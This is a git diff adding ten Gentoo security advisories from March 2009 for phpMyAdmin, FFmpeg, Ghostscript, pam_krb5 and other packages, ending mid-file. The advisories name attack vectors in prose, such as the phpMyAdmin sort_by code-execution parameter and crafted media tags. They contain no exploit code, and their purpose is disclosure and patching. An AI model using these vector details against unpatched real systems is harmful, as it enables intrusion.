new file mode 100644
index 00000000..6ebea927
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-32.xml
@@ -0,0 +1,100 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-32">
+  <title>phpMyAdmin: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in phpMyAdmin, the worst of
+    which may allow for remote code execution.
+  </synopsis>
+  <product type="ebuild">phpmyadmin</product>
+  <announced>March 18, 2009</announced>
+  <revised>March 18, 2009: 01</revised>
+  <bug>237781</bug>
+  <bug>244914</bug>
+  <bug>246831</bug>
+  <bug>250752</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/phpmyadmin" auto="yes" arch="*">
+      <unaffected range="ge">2.11.9.4</unaffected>
+      <vulnerable range="lt">2.11.9.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpMyAdmin is a web-based management tool for MySQL databases.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in phpMyAdmin:
+    </p>
+    <ul>
+    <li>
+    libraries/database_interface.lib.php in phpMyAdmin allows remote
+    authenticated users to execute arbitrary code via a request to
+    server_databases.php with a sort_by parameter containing PHP sequences,
+    which are processed by create_function (CVE-2008-4096).
+    </li>
+    <li>
+    Cross-site scripting (XSS) vulnerability in pmd_pdf.php allows remote
+    attackers to inject arbitrary web script or HTML via the db parameter,
+    a different vector than CVE-2006-6942 and CVE-2007-5977
+    (CVE-2008-4775).
+    </li>
+    <li>
+    Cross-site request forgery (CSRF) vulnerability in phpMyAdmin allows
+    remote authenticated attackers to perform unauthorized actions as the
+    administrator via a link or IMG tag to tbl_structure.php with a
+    modified table parameter. NOTE: this can be leveraged to conduct SQL
+    injection attacks and execute arbitrary code (CVE-2008-5621).
+    </li>
+    <li>
+    Multiple cross-site request forgery (CSRF) vulnerabilities in
+    phpMyAdmin allow remote attackers to conduct SQL injection attacks via
+    unknown vectors related to the table parameter, a different vector than
+    CVE-2008-5621 (CVE-2008-5622).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker may execute arbitrary code with the rights of the
+    webserver, inject and execute SQL with the rights of phpMyAdmin or
+    conduct XSS attacks against other users.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpMyAdmin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/phpmyadmin-2.11.9.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6942">CVE-2006-6942</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5977">CVE-2007-5977</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4096">CVE-2008-4096</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4775">CVE-2008-4775</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5621">CVE-2008-5621</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5622">CVE-2008-5622</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 23 Sep 2008 18:59:26 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 14 Mar 2009 23:58:57 +0000">
+    mabi
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 16 Mar 2009 21:41:59 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-33.xml b/xml/htdocs/security/en/glsa/glsa-200903-33.xml
new file mode 100644
index 00000000..ba1f37dd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-33.xml
@@ -0,0 +1,112 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-33">
+  <title>FFmpeg: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in FFmpeg may lead to the remote execution of
+    arbitrary code or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">ffmpeg gst-plugins-ffmpeg mplayer</product>
+  <announced>March 19, 2009</announced>
+  <revised>March 19, 2009: 01</revised>
+  <bug>231831</bug>
+  <bug>231834</bug>
+  <bug>245313</bug>
+  <bug>257217</bug>
+  <bug>257381</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/ffmpeg" auto="yes" arch="*">
+      <unaffected range="ge">0.4.9_p20090201</unaffected>
+      <vulnerable range="lt">0.4.9_p20090201</vulnerable>
+    </package>
+    <package name="media-plugins/gst-plugins-ffmpeg" auto="yes" arch="*">
+      <unaffected range="ge">0.10.5</unaffected>
+      <vulnerable range="lt">0.10.5</vulnerable>
+    </package>
+    <package name="media-video/mplayer" auto="yes" arch="*">
+      <unaffected range="ge">1.0_rc2_p28450</unaffected>
+      <vulnerable range="lt">1.0_rc2_p28450</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    FFmpeg is a complete solution to record, convert and stream audio and
+    video. gst-plugins-ffmpeg is a FFmpeg based gstreamer plugin which
+    includes a vulnerable copy of FFmpeg code. Mplayer is a multimedia
+    player which also includes a vulnerable copy of the code.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities were found in FFmpeg:
+    </p>
+    <ul><li>astrange
+    reported a stack-based buffer overflow in the str_read_packet() in
+    libavformat/psxstr.c when processing .str files (CVE-2008-3162).</li>
+    <li>Multiple buffer overflows in libavformat/utils.c
+    (CVE-2008-4866).</li>
+    <li>A buffer overflow in libavcodec/dca.c
+    (CVE-2008-4867).</li>
+    <li>An unspecified vulnerability in the
+    avcodec_close() function in libavcodec/utils.c (CVE-2008-4868).</li>
+    <li>Unspecified memory leaks (CVE-2008-4869).</li>
+    <li>Tobias Klein
+    repoerted a NULL pointer dereference due to an integer signedness error
+    in the fourxm_read_header() function in libavformat/4xm.c
+    (CVE-2009-0385).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted media
+    file, possibly leading to the execution of arbitrary code with the
+    privileges of the user running the application, or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All FFmpeg users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/ffmpeg-0.4.9_p20090201&quot;</code>
+    <p>
+    All gst-plugins-ffmpeg users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-plugins/gst-plugins-ffmpeg-0.10.5&quot;</code>
+    <p>
+    All Mplayer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/mplayer-1.0_rc2_p28450&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3162 ">CVE-2008-3162</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4866">CVE-2008-4866</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4867">CVE-2008-4867</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4868">CVE-2008-4868</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4869">CVE-2008-4869</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0385">CVE-2009-0385</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 31 Oct 2008 21:30:59 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 17 Mar 2009 22:05:30 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 17 Mar 2009 22:05:39 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-34.xml b/xml/htdocs/security/en/glsa/glsa-200903-34.xml
new file mode 100644
index 00000000..a8997940
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-34.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-34">
+  <title>Amarok: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple vulnerabilities in Amarok might allow for user-assisted execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">amarok</product>
+  <announced>March 20, 2009</announced>
+  <revised>March 20, 2009: 01</revised>
+  <bug>254896</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/amarok" auto="yes" arch="*">
+      <unaffected range="ge">1.4.10-r2</unaffected>
+      <vulnerable range="lt">1.4.10-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Amarok is an advanced music player.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tobias Klein has discovered multiple vulnerabilities in Amarok:
+    </p>
+    <ul>
+    <li>Multiple integer overflows in the Audible::Tag::readTag()
+    function in metadata/audible/audibletag.cpp trigger heap-based buffer
+    overflows (CVE-2009-0135).</li>
+    <li>Multiple array index errors in the
+    Audible::Tag::readTag() function in metadata/audible/audibletag.cpp can
+    lead to invalid pointer dereferences, or the writing of a 0x00 byte to
+    an arbitrary memory location after an allocation failure
+    (CVE-2009-0136).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    Audible Audio (.aa) file with a large "nlen" or "vlen" tag value to
+    execute arbitrary code or cause a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Amarok users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/amarok-1.4.10-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0135">CVE-2009-0135</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0136">CVE-2009-0136</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 19 Mar 2009 13:02:32 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 20 Mar 2009 19:39:32 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 20 Mar 2009 19:54:30 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-35.xml b/xml/htdocs/security/en/glsa/glsa-200903-35.xml
new file mode 100644
index 00000000..30c2d012
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-35.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-35">
+  <title>Muttprint: Insecure temporary file usage</title>
+  <synopsis>
+    An insecure temporary file usage in Muttprint allows for symlink attacks.
+  </synopsis>
+  <product type="ebuild">muttprint</product>
+  <announced>March 23, 2009</announced>
+  <revised>March 23, 2009: 01</revised>
+  <bug>250554</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-misc/muttprint" auto="yes" arch="*">
+      <unaffected range="ge">0.72d-r1</unaffected>
+      <vulnerable range="lt">0.72d-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Muttprint formats the output of mail clients to a good-looking printing
+    using LaTeX.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dmitry E. Oboukhov reported an insecure usage of the temporary file
+    "/tmp/muttprint.log" in the muttprint script.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could perform symlink attacks to overwrite arbitrary
+    files with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Muttprint users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-misc/muttprint-0.72d-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5368">CVE-2008-5368</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 22 Mar 2009 20:25:26 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 22 Mar 2009 21:59:17 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 22 Mar 2009 21:59:46 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-36.xml b/xml/htdocs/security/en/glsa/glsa-200903-36.xml
new file mode 100644
index 00000000..c2739062
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-36.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-36">
+  <title>MLDonkey: Information disclosure</title>
+  <synopsis>
+    A vulnerability in the MLDonkey web interface allows remote attackers to
+    disclose arbitrary files.
+  </synopsis>
+  <product type="ebuild">mldonkey</product>
+  <announced>March 23, 2009</announced>
+  <revised>March 23, 2009: 01</revised>
+  <bug>260072</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-p2p/mldonkey" auto="yes" arch="*">
+      <unaffected range="ge">3.0.0</unaffected>
+      <vulnerable range="lt">3.0.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MLDonkey is a multi-network P2P application written in Ocaml, coming
+    with its own Gtk GUI, web and telnet interface.
+    </p>
+  </background>
+  <description>
+    <p>
+    Michael Peselnik reported that src/utils/lib/url.ml in the web
+    interface of MLDonkey does not handle file names with leading double
+    slashes properly.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could gain access to arbitrary files readable by the
+    user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable the web interface or restrict access to it.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MLDonkey users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-p2p/mldonkey-3.0.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0753">CVE-2009-0753</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 22 Mar 2009 20:26:47 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 22 Mar 2009 20:38:08 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 22 Mar 2009 22:00:11 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-37.xml b/xml/htdocs/security/en/glsa/glsa-200903-37.xml
new file mode 100644
index 00000000..2a6bd645
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-37.xml
@@ -0,0 +1,97 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-37">
+  <title>Ghostscript: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple integer overflows in the Ghostscript ICC library might allow for
+    user-assisted execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">ghostscript-gpl ghostscript-esp ghostscript-gnu</product>
+  <announced>March 23, 2009</announced>
+  <revised>March 23, 2009: 01</revised>
+  <bug>261087</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/ghostscript-gpl" auto="yes" arch="*">
+      <unaffected range="ge">8.64-r2</unaffected>
+      <vulnerable range="lt">8.64-r2</vulnerable>
+    </package>
+    <package name="app-text/ghostscript-gnu" auto="yes" arch="*">
+      <unaffected range="ge">8.62.0</unaffected>
+      <vulnerable range="lt">8.62.0</vulnerable>
+    </package>
+    <package name="app-text/ghostscript-esp" auto="yes" arch="*">
+      <vulnerable range="le">8.15.4-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ghostscript is an interpreter for the PostScript language and the
+    Portable Document Format (PDF).
+    </p>
+  </background>
+  <description>
+    <p>
+    Jan Lieskovsky from the Red Hat Security Response Team discovered the
+    following vulnerabilities in Ghostscript's ICC Library:
+    </p>
+    <ul>
+    <li>Multiple integer overflows (CVE-2009-0583).</li>
+    <li>Multiple
+    insufficient bounds checks on certain variable sizes
+    (CVE-2009-0584).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    PostScript file containing images and a malicious ICC profile, possibly
+    resulting in the execution of arbitrary code with the privileges of the
+    user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GPL Ghostscript users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/ghostscript-gpl-8.64-r2&quot;</code>
+    <p>
+    All GNU Ghostscript users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/ghostscript-gnu-8.62.0&quot;</code>
+    <p>
+    We recommend that users unmerge ESP Ghostscript and use GPL or GNU
+    Ghostscript instead:
+    </p>
+    <code>
+    # emerge --unmerge &quot;app-text/ghostscript-esp&quot;</code>
+    <p>
+    For installation instructions, see above.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0583">CVE-2009-0583</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0584">CVE-2009-0584</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 22 Mar 2009 20:18:05 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 22 Mar 2009 21:04:31 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 23 Mar 2009 13:39:36 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-38.xml b/xml/htdocs/security/en/glsa/glsa-200903-38.xml
new file mode 100644
index 00000000..4ef1e781
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-38.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-38">
+  <title>Squid: Multiple Denial of Service vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been found in Squid which allow for remote
+    Denial of Service attacks.
+  </synopsis>
+  <product type="ebuild">Squid</product>
+  <announced>March 24, 2009</announced>
+  <revised>March 24, 2009: 01</revised>
+  <bug>216319</bug>
+  <bug>257585</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-proxy/squid" auto="yes" arch="*">
+      <unaffected range="ge">2.7.6</unaffected>
+      <vulnerable range="lt">2.7.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Squid is a full-featured web proxy cache.
+    </p>
+  </background>
+  <description>
+    <ul>
+    <li>The arrayShrink function in lib/Array.c can cause an array to
+    shrink to 0 entries, which triggers an assert error. NOTE: this issue
+    is due to an incorrect fix for CVE-2007-6239 (CVE-2008-1612).</li>
+    <li>An invalid version number in a HTTP request may trigger an
+    assertion in HttpMsg.c and HttpStatusLine.c (CVE-2009-0478).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    The issues allows for Denial of Service attacks against the service via
+    an HTTP request with an invalid version number and other specially
+    crafted requests.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Squid users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-proxy/squid-2.7.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6239">CVE-2007-6239</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1612">CVE-2008-1612</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0478">CVE-2009-0478</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200801-05.xml">GLSA-200801-05</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 09 Mar 2009 14:14:34 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 16 Mar 2009 14:25:11 +0000">
+    craig
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 24 Mar 2009 16:45:49 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-39.xml b/xml/htdocs/security/en/glsa/glsa-200903-39.xml
new file mode 100644
index 00000000..b7e4da5e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-39.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-39">
+  <title>pam_krb5: Privilege escalation</title>
+  <synopsis>
+    Two vulnerabilities in pam_krb5 might allow local users to elevate their
+    privileges or overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">pam_krb5</product>
+  <announced>March 25, 2009</announced>
+  <revised>March 25, 2009: 01</revised>
+  <bug>257075</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-auth/pam_krb5" auto="yes" arch="*">
+      <unaffected range="ge">3.12</unaffected>
+      <vulnerable range="lt">3.12</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    pam_krb5 is a a Kerberos v5 PAM module.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities were discovered:
+    </p>
+    <ul><li>pam_krb5
+    does not properly initialize the Kerberos libraries for setuid use
+    (CVE-2009-0360).</li>
+    <li>Derek Chan reported that calls to
+    pam_setcred() are not properly handled when running setuid
+    (CVE-2009-0361).</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could set an environment variable to point to a
+    specially crafted Kerberos configuration file and launch a PAM-based
+    setuid application to elevate privileges, or change ownership and
+    overwrite arbitrary files.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All pam_krb5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-auth/pam_krb5-3.12&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0360">CVE-2009-0360</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0361">CVE-2009-0361</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 05 Mar 2009 20:23:59 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 09 Mar 2009 12:57:24 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 09 Mar 2009 12:57:36 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-40.xml b/xml/htdocs/security/en/glsa/glsa-200903-40.xml
new file mode 100644
index 00000000..d30e4c1f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-40.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-40">
+  <title>Analog: Denial of Service</title>
+  <synopsis>
+    A Denial of Service vulnerability was discovered in Analog.
+  </synopsis>
+  <product type="ebuild">analog</product>
+  <announced>March 29, 2009</announced>
+  <revised>March 29, 2009: 01</revised>
+  <bug>249140</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-admin/analog" auto="yes" arch="*">
+      <unaffected range="ge">6.0-r2</unaffected>
+      <vulnerable range="lt">6.0-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Analog is a a webserver log analyzer.
+    </p>
+  </background>
+  <description>
+    <p>
+    Diego E. Petteno reported that the Analog package in Gentoo is built
+    with its own copy of bzip2, making it vulnerable to CVE-2008-1372 (GLSA
+    200804-02).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could place specially crafted log files into a log
+    directory being analyzed by analog, e.g. /var/log/apache, resulting in
+    a crash when being processed by the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Analog users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/analog-6.0-r2&quot;</code>
+    <p>
+    NOTE: Analog is now linked against the system bzip2 library.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1372">CVE-2008-1372</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200804-02.xml">GLSA 200804-02</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 21 Dec 2008 20:13:59 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 26 Mar 2009 12:22:59 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 26 Mar 2009 12:23:07 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-41.xml b/xml/htdocs/security/en/glsa/glsa-200903-41.xml
new file mode 100644
index 00000000..266cd8be
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-41.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-41">
+  <title>gedit: Untrusted search path</title>
+  <synopsis>
+    A vulnerability in gedit might allow local attackers to execute arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">gedit</product>
+  <announced>March 30, 2009</announced>
+  <revised>March 30, 2009: 01</revised>
+  <bug>257004</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-editors/gedit" auto="yes" arch="*">
+      <unaffected range="rge">2.22.3-r1</unaffected>
+      <unaffected range="ge">2.24.3</unaffected>
+      <vulnerable range="lt">2.24.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    gedit is a text editor for the GNOME desktop.
+    </p>
+  </background>
+  <description>
+    <p>
+    James Vega reported that gedit uses the current working directory when
+    searching for python modules, a vulnerability related to CVE-2008-5983.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could entice a user to open gedit from a specially
+    crafted environment, possibly resulting in the execution of arbitrary
+    code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not run gedit from untrusted working directories.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All gedit 2.22.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-editors/gedit-2.22.3-r1&quot;</code>
+    <p>
